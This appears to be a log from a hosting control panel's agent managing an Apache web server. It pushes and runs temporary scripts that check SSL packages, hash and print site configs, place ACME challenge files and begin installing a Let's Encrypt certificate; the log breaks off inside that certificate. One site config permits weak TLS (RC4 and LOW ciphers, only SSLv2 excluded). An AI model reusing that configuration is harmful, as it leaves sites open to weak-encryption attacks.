bin(/usr/local/nagios/libexec/check_udp)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_real)= f2489c04cf946b095bed1366f8f0df35
bin(/usr/local/nagios/libexec/check_ftp)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_by_ssh)= 8b3e62f3ba31a179d61c21f0eac0aa11
bin(/usr/local/nagios/libexec/check_ssmtp)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_spop)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_procs)= 67a29b52608ad36a6467fd5896bb620e
bin(/usr/local/nagios/libexec/check_wave)= 43eebe3022fa6667f5ff578067dc4c0d
bin(/usr/local/nagios/libexec/check_simap)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_users)= 9c8ca7b5b64407598bef6b769062090c
bin(/usr/local/nagios/libexec/check_rpc)= 6511971a137e9df4658da51f8f892e76
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_oracle)= 4b3e86763d33cb262524bc3ee4bea311
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5


2025-12-24 14:09:29: 

PUT: /tmp/pkp248936

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-12-24 14:09:29: 

chmod 755 /tmp/pkp248936; /tmp/pkp248936; rm /tmp/pkp248936

2025-12-24 14:09:29: 


status=ok


2025-12-24 14:09:29: 

PUT: /tmp/pkp171334

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-24 14:09:29: 

chmod 755 /tmp/pkp171334; /tmp/pkp171334; rm /tmp/pkp171334

2025-12-24 14:09:29: 
2025-12-24 14:09:29: 

PUT: /tmp/pkp194731

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/ports.conf')
    show_file('/etc/apache2/apache2.conf')
    show_file('/etc/apache2/sites-available/000-default.conf')
    show_file('/etc/apache2/sites-available/default-ssl.conf')
    show_file('/etc/apache2/sites-available/dgmarshall_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-24 14:09:29: 

chmod 755 /tmp/pkp194731; /tmp/pkp194731; rm /tmp/pkp194731

2025-12-24 14:09:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf	274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen 80

<IfModule ssl_module>
	Listen 443
</IfModule>

<IfModule mod_gnutls.c>
	Listen 443
</IfModule>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf	7178
# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.

# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
#	/etc/apache2/
#	|-- apache2.conf
#	|	`--  ports.conf
#	|-- mods-enabled
#	|	|-- *.load
#	|	`-- *.conf
#	|-- conf-enabled
#	|	`-- *.conf
# 	`-- sites-enabled
#	 	`-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
#   together by including all remaining configuration files when starting up the
#   web server.
#
# * ports.conf is always included from the main configuration file. It is
#   supposed to determine listening ports for incoming connections which can be
#   customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
#   directories contain particular configuration snippets which manage modules,
#   global configuration fragments, or virtual host configurations,
#   respectively.
#
#   They are activated by symlinking available configuration files from their
#   respective *-available/ counterparts. These should be managed by using our
#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
#   their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
#   the default configuration, apache2 needs to be started/stopped with
#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
#   work with the default configuration.


# Global configuration
#

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE!  If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"

#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default

#
# The directory where shm and other runtime files will be stored.
#

DefaultRuntimeDir ${APACHE_RUN_DIR}

#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}

#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5


# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off

# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log

#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn

# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf

# Include list of ports to listen on
Include ports.conf


# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
	Options FollowSymLinks
	AllowOverride None
	Require all denied
</Directory>

<Directory /usr/share>
	AllowOverride None
	Require all granted
</Directory>

<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride None
	Require all granted
</Directory>

#<Directory /srv/>
#	Options Indexes FollowSymLinks
#	AllowOverride None
#	Require all granted
#</Directory>




# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives.  See also the AllowOverride
# directive.
#
AccessFileName .htaccess

#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
	Require all denied
</FilesMatch>


#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.

# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf

# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/000-default.conf	1286
<VirtualHost *:80>
	# The ServerName directive sets the request scheme, hostname and port that
	# the server uses to identify itself. This is used when creating
	# redirection URLs. In the context of virtual hosts, the ServerName
	# specifies what hostname must appear in the request's Host: header to
	# match this virtual host. For the default virtual host (this file) this
	# value is not decisive as it is used as a last resort host regardless.
	# However, you must set it for any further virtual host explicitly.
	#ServerName www.example.com

	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf	4573
<VirtualHost *:443>
	ServerAdmin webmaster@localhost

	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf

	#   SSL Engine Switch:
	#   Enable/Disable SSL for this virtual host.
	SSLEngine on

	#   A self-signed (snakeoil) certificate can be created by installing
	#   the ssl-cert package. See
	#   /usr/share/doc/apache2/README.Debian.gz for more info.
	#   If both key and certificate are stored in the same file, only the
	#   SSLCertificateFile directive is needed.
	SSLCertificateFile      /etc/ssl/certs/ssl-cert-snakeoil.pem
	SSLCertificateKeyFile   /etc/ssl/private/ssl-cert-snakeoil.key

	#   Server Certificate Chain:
	#   Point SSLCertificateChainFile at a file containing the
	#   concatenation of PEM encoded CA certificates which form the
	#   certificate chain for the server certificate. Alternatively
	#   the referenced file can be the same as SSLCertificateFile
	#   when the CA certificates are directly appended to the server
	#   certificate for convinience.
	#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt

	#   Certificate Authority (CA):
	#   Set the CA certificate verification path where to find CA
	#   certificates for client authentication or alternatively one
	#   huge file containing all of them (file must be PEM encoded)
	#   Note: Inside SSLCACertificatePath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCACertificatePath /etc/ssl/certs/
	#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt

	#   Certificate Revocation Lists (CRL):
	#   Set the CA revocation path where to find CA CRLs for client
	#   authentication or alternatively one huge file containing all
	#   of them (file must be PEM encoded)
	#   Note: Inside SSLCARevocationPath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCARevocationPath /etc/apache2/ssl.crl/
	#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl

	#   Client Authentication (Type):
	#   Client certificate verification type and depth.  Types are
	#   none, optional, require and optional_no_ca.  Depth is a
	#   number which specifies how deeply to verify the certificate
	#   issuer chain before deciding the certificate is not valid.
	#SSLVerifyClient require
	#SSLVerifyDepth  10

	#   SSL Engine Options:
	#   Set various options for the SSL engine.
	#   o FakeBasicAuth:
	#    Translate the client X.509 into a Basic Authorisation.  This means that
	#    the standard Auth/DBMAuth methods can be used for access control.  The
	#    user name is the `one line' version of the client's X.509 certificate.
	#    Note that no password is obtained from the user. Every entry in the user
	#    file needs this password: `xxj31ZMTZzkVA'.
	#   o ExportCertData:
	#    This exports two additional environment variables: SSL_CLIENT_CERT and
	#    SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
	#    server (always existing) and the client (only existing when client
	#    authentication is used). This can be used to import the certificates
	#    into CGI scripts.
	#   o StdEnvVars:
	#    This exports the standard SSL/TLS related `SSL_*' environment variables.
	#    Per default this exportation is switched off for performance reasons,
	#    because the extraction step is an expensive operation and is usually
	#    useless for serving static content. So one usually enables the
	#    exportation for CGI and SSI requests only.
	#   o OptRenegotiate:
	#    This enables optimized SSL connection renegotiation handling when SSL
	#    directives are used in per-directory context.
	#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
	<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
		SSLOptions +StdEnvVars
	</FilesMatch>
	<Directory /usr/lib/cgi-bin>
		SSLOptions +StdEnvVars
	</Directory>
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/dgmarshall_www_com.conf	1383

<VirtualHost *:80>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/drewmarshall_audio_ca.conf)= 22d8357d9cce5e6bcf2e85b6b1281b08
MD5(/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt)= 440e26504892bc3a1059c32d3e4b3ddf
MD5(/etc/apache2/sites-available/drewmarshall_soulsurvivor_ca.conf)= 8166627ceae313f355153c8125d9da37
MD5(/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt)= a236e4eb8da1c5725449531e4b1ea0ed
MD5(/etc/apache2/sites-available/bucketgigs_www_ca.conf)= 158f403d5a915a7f62aa737f42f69b2d
MD5(/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt)= 3f5e15343f4ab412c32e5c606be616bd
MD5(/etc/apache2/sites-available/dgmarshall_www_ca.conf)= 3c89aebb4968fdfc28382b74bf36bc10
MD5(/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt)= e663c0f247a2a8956dc452644bcdbf62
MD5(/etc/apache2/sites-available/hillrunfarm_www_ca.conf)= 05ab5b23b6d57df119a4873e563dadfc
MD5(/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt)= a816b3241be8173ed7a0fc657f99965c
MD5(/etc/apache2/sites-available/drewmarshall_datinggame_ca.conf)= ebbdb34ad2f362df48307d46789d9a97
MD5(/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt)= b5bf8bbaa7f4a928066b8f2c46412507
MD5(/etc/apache2/sites-available/drewmarshall_preacheridol_ca.conf)= 537f81295d0edea87734555d50bb3052
MD5(/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt)= b14b2e823e8d72f06d8d8fe3c5ea53c8
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 378517eabf659f2d4c939bc2bcaf1578
MD5(/etc/apache2/sites-available/drewmarshall_caminoconfessions_ca.conf)= 13d11aee1a717ab7f0d1568d05976f14
MD5(/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt)= 5946adf9f69af5c7719e8f4ab6d1db6f
MD5(/etc/apache2/sites-available/drewmarshall_www_ca.conf)= ed696aa19719c408a1f6be693b4ccc7c
MD5(/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt)= 4562ab53be89f71d7926d54229fff9f4
MD5(/etc/apache2/sites-available/ineedtosaythis_www_com.conf)= 662c372961ad6aa5d2639dbb608864e1
MD5(/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt)= abf85fe9ea80b78fbe4537df0fb6c5d9
MD5(/etc/apache2/sites-available/drewmarshall_dgm_ca.conf)= 66aca7cfcca7570702b87aee8bdbb1c7
MD5(/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt)= 73421990dc68d76846842e814dfe0ae5
MD5(/etc/apache2/sites-available/sosretreatscanada_www_com.conf)= 22dad0a24222118b4c6f672028e333e3
MD5(/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt)= 3419fa5c5ad15d762fa1b3b3648b3b73
MD5(/etc/apache2/sites-available/dgmarshall_www_com.conf)= 490697078812a3bb1edb12fbd987d526
MD5(/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt)= c9dac3971c5bf404cd55852586ab64cc
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf)= /etc/apache2/sites-available/drewmarshall_audio_ca.conf
link(/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf)= /etc/apache2/sites-available/drewmarshall_soulsurvivor_ca.conf
link(/etc/apache2/sites-enabled/bucketgigs_www_ca.conf)= /etc/apache2/sites-available/bucketgigs_www_ca.conf
link(/etc/apache2/sites-enabled/dgmarshall_www_ca.conf)= /etc/apache2/sites-available/dgmarshall_www_ca.conf
link(/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf)= /etc/apache2/sites-available/hillrunfarm_www_ca.conf
link(/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf)= /etc/apache2/sites-available/drewmarshall_datinggame_ca.conf
link(/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf)= /etc/apache2/sites-available/drewmarshall_preacheridol_ca.conf
link(/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf)= /etc/apache2/sites-available/drewmarshall_caminoconfessions_ca.conf
link(/etc/apache2/sites-enabled/drewmarshall_www_ca.conf)= /etc/apache2/sites-available/drewmarshall_www_ca.conf
link(/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf)= /etc/apache2/sites-available/ineedtosaythis_www_com.conf
link(/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf)= /etc/apache2/sites-available/drewmarshall_dgm_ca.conf
link(/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf)= /etc/apache2/sites-available/sosretreatscanada_www_com.conf
link(/etc/apache2/sites-enabled/dgmarshall_www_com.conf)= /etc/apache2/sites-available/dgmarshall_www_com.conf




STDERR:
/tmp/pkp171334:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2025-12-25 06:00:03: Establishing a connection
2025-12-25 06:00:03: Establishing a connection
2025-12-25 06:00:03: 

PUT: /tmp/pkp740220

#!/bin/bash
if [ -d "/var/www/gospelstudies_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-25 06:00:08: 

chmod 755 /tmp/pkp740220; /tmp/pkp740220; rm /tmp/pkp740220

2025-12-25 06:00:08: 


1


2025-12-25 06:00:09: Establishing a connection
2025-12-25 06:00:09: 

PUT: /tmp/pkp861734

#!/bin/bash
mkdir -p "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cd "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cat > VwolMBepP_l6mUjK-w4mvx3oXzR5AECohf1l-oLXwRc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
VwolMBepP_l6mUjK-w4mvx3oXzR5AECohf1l-oLXwRc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 VwolMBepP_l6mUjK-w4mvx3oXzR5AECohf1l-oLXwRc
cat > ox1I7AmgnXPGqEk6aPn5eb5DMrNyXT30yfEJAN65jr8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ox1I7AmgnXPGqEk6aPn5eb5DMrNyXT30yfEJAN65jr8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ox1I7AmgnXPGqEk6aPn5eb5DMrNyXT30yfEJAN65jr8


2025-12-25 06:00:09: 

chmod 755 /tmp/pkp861734; /tmp/pkp861734; rm /tmp/pkp861734

2025-12-25 06:00:10: 




2025-12-25 06:00:20: Establishing a connection
2025-12-25 06:00:20: 

PUT: /tmp/pkp866213

#!/bin/bash
mkdir -p "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cd "/var/www/gospelstudies_www/.well-known/acme-challenge/"
rm VwolMBepP_l6mUjK-w4mvx3oXzR5AECohf1l-oLXwRc
rm ox1I7AmgnXPGqEk6aPn5eb5DMrNyXT30yfEJAN65jr8


2025-12-25 06:00:20: 

chmod 755 /tmp/pkp866213; /tmp/pkp866213; rm /tmp/pkp866213

2025-12-25 06:00:20: 




2025-12-25 06:00:20: Establishing a connection
2025-12-25 06:00:20: 

PUT: /tmp/pkp446453

#!/bin/bash
temp_file=$(mktemp)
TARGET=9c0bc7e77c379755b26b0bae03e4a9f3.crt

cat > $temp_file <<'endmsg'
91:93:43:fe:81:8d:d5:a9:1c:c9:9e:d0:57:e3:aa:fb

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBsHUVhNn8SHXEST22eMKA0f9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI1MDUwMTQ5WhcNMjYwMzI1MDUwMTQ4WjAcMRowGAYDVQQD
ExFnb3NwZWxzdHVkaWVzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKepbjvJ3bj4PT4nwfkhm7ByKAKreaNvJGbEN1eb8dAMhdJTmT820EgYY3Nx
4RlQyozbxd9vYTbQZQHE3LMKcST55O8116L1Ir/1pjqh2RVGSlF4GqvtAOJJlf1Z
2fijFdtVWrkVwpWgvAmeMmkOtfn3mTcYMzcgiFBrQH3yNkyWeU8k8PZS8rY3DacP
QCrXykMfseLRBGqiVHYFBFhCG7TwhtkEnsliyoOm/NfJz6+GTb5qlMhjBoo3wh9t
z8VqOIsa48bl83JjWL8Tih03NG2irACDjw4ClVcKSz/Wj99MkvETIcvXn3Aj68I+
heGxnuDnGZLDSYF3UOeDSGoS8JkCAwEAAaOCAjkwggI1MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUZ9DklUu68+6n+PCf3ESLqEuvwXAwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFnb3NwZWxzdHVkaWVzLm5l
dIIVd3d3Lmdvc3BlbHN0dWRpZXMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8G
A1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTI2LmNybDCC
AQQGCisGAQQB1nkCBAIEgfUEgfIA8AB2AMs49xWJfIShRF9bwd37yW7ymlnNRwpp
BYWwyxTDFFjnAAABm1QYCJoAAAQDAEcwRQIhALR/ZACsGnU+WPuWEk7ajMnwfHR7
r3xTMweALqAPDMRiAiBpqqXvXBC8RJ4jyyE2vZz7qFK9BlWu4HaJO5MJTev6/gB2
ABaDLavwqSUPD/A6pUX/yL/II9CHS/YEKSf45x8zE/X6AAABm1QYCJgAAAQDAEcw
RQIhANh0UOo6ilhsSThPRgnjRFBgXtNUEl2mwbN51rQLjGZaAiBUhWIHePJnP6Xq
4TRc7OpBhH75TKUivRAnEBUmTSL63jANBgkqhkiG9w0BAQsFAAOCAQEAGEEqWXi4
stjcKIjyxx89grs8h/qS4uz1UIziq/LKQiqSW1BZhyZOyDA0kmJ8jC3MJtexGYeu
2B1XuqEgr+1a0HW+5HWbzhfsw9l3x+9qFmqslZdd9bHdgE6KWZ6U5veHoezY1pSi
